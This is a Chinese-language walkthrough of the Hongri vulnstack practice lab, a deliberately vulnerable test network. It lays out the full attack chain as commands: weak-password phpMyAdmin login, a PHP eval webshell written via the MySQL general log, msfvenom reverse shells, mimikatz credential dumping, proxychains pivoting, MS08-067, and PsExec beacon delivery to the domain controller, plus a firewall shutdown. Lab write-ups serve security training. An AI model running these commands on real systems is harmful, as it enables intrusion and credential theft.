红日靶场一
0x00前言
靶场地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
感谢红日团队提供的靶场
靶机初始密码 均为 hongrisec@2019
0x01环境搭建
VMwareWorkstation搭建
攻击机 kali ip 192.168.157.137
web服务器 win7 ip 192.168.157.153 192.168.52.143
域成员 win2003 ip 192.168.52.141
域控 win2008 ip 192.168.52.138
win7 web虚拟机 开启 phpstudy服务
网络拓扑如下
0x02web渗透
1 信息收集
1.1探测内网存活
netdiscover -i eth0 -r 192.168.157.0/24
192.168.157.153为目标机器ip
1.2端口扫描
masscan扫描速度快 可先用masscan扫描开放的端口
再用nmap扫描详细信息
1.2.1 masscan扫描
masscan 192.168.157.153 -p 1-65535 --rate=1000
如果是真实机 会存在rate过高可能会被封,可以调低一点
扫出80和3306端口
1.2.2 nmap扫描
nmap -sC -sV -p 80,3306 192.168.157.153 -o 192.168.157.153.txt
开启 80 和3306
可以看到 是phpstudy 搭建的
1.2.3 访问80端口
是一个phpstudy探针页面
可以看到 服务器信息 网站路径
1.2.4 目录爆破 看还存在扫描页面
使用御剑目录扫描进行目录爆破
或者kali自带的 dirbuster
扫出phpmyadmin 页面
服务漏洞利用思路
如果 可以登录进去 就可以 执行数据库命令 。
权限够的话
可以 通过 写入 一句话木马文件, into outfile into dumpfile
或者开启日志记录,写入一句话木马 进行连接。
2 漏洞利用
2.1 探测phpmyadmin页面
访问成功
尝试 暴力破解登录
如下两图
爆破出弱口令 root root
select user() 命令 为 root用户登录
2.1 phpmyadmin漏洞利用
2.1.1 看是否可以写入文件
mysql into写入文件:使用需看要secure_file_priv的值。
value为“null”时,不允许读取任意文件
value为其余路径时,表示该路径可以读写文件
value为“空”时,允许读取任意文件
用show global variables like '%secure%' 命令查看
为NULL不可写入文件
要想修改 Value值 只能通过配置文件 mysql.ini 修改
放弃
2.1.2 尝试用日志写入木马getshell
开启mysql日志功能:
1.查看日志功能是否开启
show global variables like '%general%'
2.未开启的话设置为 on
set global general_log='ON'
3.开启后将日志文件的存储位置改为可访问到的目录, 根目录即可
set global general_log_file = 'C:/phpStudy1/WWW/3.php'
4.执行下边一句话木马
数据库将会将查询语句保存在日志文件中
SELECT '<?php @eval($_POST["cmd"]); ?>'
5.写入成功后 使用蚁剑连接
均执行成功
2.1.3 蚁剑连接
连接webshell成功
3 拿下webshell后信息收集
3.1 是否存在域
判断方法
1.whoami hostname 对比
2.ipconfig /all 看DNS
3.systeminfo 看是否有域一栏
3.2 网络连接情况 进程 杀软 服务 是否可以出网 用户开放情况
1.ipconfig 看所处网段是否有多个
2.netstat -ano 查看网络连接和开放端口
3.net start 查看启动的服务 用于提权
4.tasklist 查看开启的进程
5.tasklist /SVC 复制到在线杀软识别 看存在的杀软情况 https://i.hacking8.com/tiquan
6. ping baidu 看是否可以出网等
7. net user 存在用户
3.3 翻文件 txt 类型的 看是否有密码
后续补充
因为在域内 所以 有必要进行后渗透 拿下域控
0x03后渗透
1.msf上线
生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.137 LPORT=2333 -f exe > hack.exe
开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 2333
set lhost 192.168.157.137
exploit -j
将生成的exe木马通过蚁剑上传到 目标服务器 执行
成功上线
可输入 ?查看 可执行的命令
2.msf信息收集
1.msf arp 发现主机 开机状态下才可探测出 我现在只开了ip141的 所以下图只扫出141
run arp_scanner -r 192.168.52.0/24
2.run post/multi/recon/local_exploit_suggester 查看msf的提权
3.提权
getuid查看服务器权限
getsystem 提权
getuid 查看是否提权成功
4.抓取域用户的密码信息
以下3种都可尝试
1.ruan hashdump
2.加载 kiwi模块
load kiwi 加载kiwi模块
creds_all 列出所有凭据
3.加载mimikatz模块
Windows10/2012 以下的版本可以直接抓取明文密码
再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,
而且该进程也需要 是system权限运行的。
ps 查看进程
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
5.知道密码后 可以通过3389连接
5.1 检查3389是否开启
nmap -p 3389 192.168.157.153
filtered 被过滤 应该是 防火墙阻拦
### 4.2开启3389
run post/windows/manage/enable_rdp
再次扫描已经开启
6 跨网段横向渗透
6.1 msf socks4a proxychains 穿透内网
添加路由
1. run autoroute -s 192.168.52.0/24 添加路由
2. run autorout -p 查看是否添加成功
3. background 返回
4. route print 输出路由
5. use auxiliary/server/socks4a 使用 socks4a模块
6. set srvport 1080 设置端口1080
7. run 运行
添加成功
配置 kali socks代理
配置proxychains:
vi /etc/proxychains.conf
6.2测试是否成功
proxychains curl 192.168.52.143
访问成功 说明 代理添加成功
Proxychains nmap -sT -Pn 192.168.52.143
6.3 登录后 进行域内信息收集
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:GOD #查看GOD 域情况
nslookup 主机名 #查看域内其他主机 可能ip查不出来
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
7 跨网段主机信息收集
7.1 内网存活主机探测
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
7.2 内网存活主机端口扫描
proxychains nmap -Pn -sT 192.168.52.141
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)
7.3 内网存活主机服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
8.横向渗透
8.1 MS08_067拿下域成员服务器
MS08-067漏洞将会影响除Windows Server 2008 Core以下的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run
不稳定会掉
也会出现弹窗
8.2 拿下域控
8.2.1 msf派生给cs
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新 的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost 192.168.157.137 #cobaltstrike监听的ip
set lport 14444 #cobaltstrike监听的端口
set session 1 #这里是获得的session的id
exploit
cs上线成功
8.2.2 cs基于web服务器生成监听器
8.2.3 psexec攻击
Psexec针对远程建立连接的方式有两种,一种先建立IPC通道连接,然后直接使用,操作如下:
net use \\192.168.0.1\ipc$ “password” /user:administrator
psexec.exe \\192.168.0.1 cmd 进入半交互式cmdshell ;
另一种时在psexec的参数中指定账户密码 操作如下:
psexec.exe \\192.168.0.1 –u administrator –p password
命令参考
https://www.cnblogs.com/wuyuan2011woaini/p/9561122.html
通过蚁剑上传psexec64.exe 到web服务器
web执行 psexec命令
1.#上传木马文件
PsExec64.exe -accepteula \\192.168.52.138 -u god\administrator -p hongrisec@2020 -d -c C:\windows\temp\beacon64.exe
2.#打开 域控cmd 并执行 上线
PsExec64.exe -accepteula \\192.168.52.138 -u god\administrator -p hongrisec@2020 -s cmd
cd.. #返回到上级 c:/windows目录
dir | findstr beacon #看是否上传beacon32.exe成功
beacon64.exe #执行
如上图显示这样就上传成功可以 连接cmd查看 c:\wndows目录下 是否存在 存在就执行
发现并未上线。
思考原因
因为使用的是 反向连接的木马
可以web服务器关闭防火墙 或者 开启 监听端口
NetSh Advfirewall set allprofiles state off #关闭防火墙
Netsh Advfirewall show allprofiles #查看防火墙状态
域控服务器执行exe后,反向链接192.168.52.143 的 55555端口
而 web服务器 防火墙处于开启状态,可以放开 55555端口 在运行看是否上线成功
web服务器输入以下命令开启 或者手动开启
netsh advfirewall firewall add rule name="beacon" dir=in protocol=tcp localport=55555 action=allow
关闭后在运行
成功上线
拿下域控
版权归原作者 YouthBelief 所有, 如有侵权,请联系我们删除。